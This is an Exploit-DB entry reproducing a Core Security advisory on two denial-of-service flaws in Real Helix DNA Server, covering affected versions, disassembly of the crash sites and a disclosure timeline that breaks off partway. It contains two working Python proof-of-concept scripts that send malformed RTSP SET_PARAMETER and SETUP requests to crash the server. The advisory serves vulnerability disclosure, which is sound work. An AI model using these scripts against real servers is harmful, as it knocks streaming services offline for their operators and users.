Exploit-DB #9198
Description: Real Helix DNA - 'RTSP' / 'SETUP' Request Handler
Type: dos
Platform: multiple
Date: 2009-07-17
Author: Core Security

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

Real Helix DNA RTSP and SETUP request handler vulnerabilities


1. *Advisory Information*

Title: Real Helix DNA RTSP and SETUP request handler vulnerabilities
Advisory ID: CORE-2009-0227
Advisory URL: http://www.coresecurity.com/content/real-helix-dna
Date published: 2009-07-17
Date of last update: 2009-07-17
Vendors contacted: RealNetworks
Release mode: Forced release


2. *Vulnerability Information*

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-2533, CVE-2009-2534


3. *Vulnerability Description*

Helix Server is a multi-format cross-platform streaming server. Two
vulnerabilities have been found, that could allow a remote attacker to
crash the Helix Server.

During a 'RTSP' (SET_PARAMETERS) request handling, if an empty
'DataConvertBuffer' parameter is received by the server, it will raise
an exception reading an invalid direction of memory. This exception is
usually handled correctly but if you send this malformed request
multiple times in a short period of time, it could render the Helix
Server unresponsive and terminate its execution.

During the 'SETUP' request handling, a 0x2F character is searched in the
request line, if this byte is absent the process crashes with an access
violation.


4. *Vulnerable packages*

   . Helix Server Version 12.x
   . Helix Mobile Server Version 12.x
   . The vulnerabilities were investigated on Helix Server Version
12.0.1.215 (Tahiti) Build 175002/12667


5. *Non-vulnerable packages*

   . Helix Server Version 13.0.0
   . Helix Mobile Server Version 13.0.0


6. *Vendor Information, Solutions and Workarounds*

According to the Security Update 071409HS [2] published by RealNetworks:
"The vulnerability is resolved on the following platforms by installing
Version 13.0.0 of the Helix Server and the Helix Mobile Server. This
only pertains to supported versions of the platforms listed below. The
updated version will be available on your RealNetworks PAM site after
12:00 am PST, on July 14, 2009."

   . Red Hat Enterprise Linux 4
   . Red Hat Enterprise Linux 5
   . Sun Solaris 10
   . Windows 2003


7. *Credits*

These vulnerabilities were discovered and researched by Damian Frizza
from Core Security Technologies.


8. *Technical Description / Proof of Concept Code*


8.1. *RTSP request handling Denial of Service (CVE-2009-2533)*

The problem arises when the 'rmserver' process receives an 'RTSP
(SET_PARAMETER)' request with no content in the 'DataConvertBuffer'
parameter. The handling code reads at the memory location zero (0) and
triggers an exception, which is handled correctly. However sending this
malformed request multiple times renders the rmserver process
unresponsive and subsequently stops its execution.

The code section which triggers the exception is:

/-----------

00458066  |.     C745 08 00000000 MOV DWORD PTR SS:[EBP+8],0
*Sets the content of the local variable to 0
0045806D  |.     8B10             MOV EDX,DWORD PTR DS:[EAX]
0045806F  |.     50               PUSH EAX
00458070  |.     FF52 2C          CALL DWORD PTR DS:[EDX+2C]
00458073  |.     8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]
00458076  |.     8B10             MOV EDX,DWORD PTR DS:[EAX]          *
Tries to read form 0 memory location

- -----------/

 The following PoC code reproduces the issue:

/-----------

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.16.132.133',554))

setRequest = "SET_PARAMETER / RTSP/1.0\r\n"
setRequest +="DataConvertBuffer: \r\n\r\n"

for i in range(5):
  print i
  s.send(setRequest)

s.close()

- -----------/



The following output is written in the log file:

/-----------

4068: FATAL ERROR:  The server has run out of memory!
FATAL ERROR:  Last request was rounded up to 1155072 bytes
Trace:
0x00409C96
...
...
...
0x00000000
FATAL ERROR:  Server Terminated

- -----------/


8.2. *Malformed SETUP command handling Denial of Service (CVE-2009-2534)*

The problem arises when the 'SETUP' request is handled and the byte 0x2F
is absent in the request line. While handling this kind of malformed
request the server crashes with an access violation.

The code section which triggers the access violation is:

/-----------

0047A490  |.     6A 2F            PUSH 2F
0047A492  |.     56               PUSH ESI
0047A493  |.     FF15 08425100    CALL DWORD PTR DS:[<&MSVCR71.strchr>]
   ; MSVCR71.strchr

- -----------/

 if only the "/" (0x2F) character is sent, the program tries to copy
from 0 and the access violation exception is raised.

/-----------

0047A490  |.     6A 2F            PUSH 2F
0047A492  |.     56               PUSH ESI
0047A493  |.     FF15 08425100    CALL DWORD PTR DS:[<&MSVCR71.strchr>]
   ; MSVCR71.strchr

- -----------/

 The following code reproduces the issue:

/-----------

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.16.132.133',554))

setRequest = "SETUP / RTSP/1.0\r\n\r\n"

s.send(setRequest)
s.close()

- -----------/


9. *Report Timeline*

. 2009-03-04:
Core Security Technologies notifies RealNetworks of the vulnerability.
Core initially schedules publication of its advisory to April 6th, 2009.

. 2009-03-16:
Core notifies again RealNetworks of the vulnerability.

. 2009-03-16:
RealNetworks identifies the vulnerability alert as SPAM.

. 2009-03-20:
The RealNetworks team asks Core for a technical description of the
vulnerability.

. 2009-03-23:
Technical details sent to RealNetworks team by Core. RealNetworks
acknowledges reception.

. 2009-03-30:
Core requests information about the plans of RealNetworks to fix the
vulnerabilities.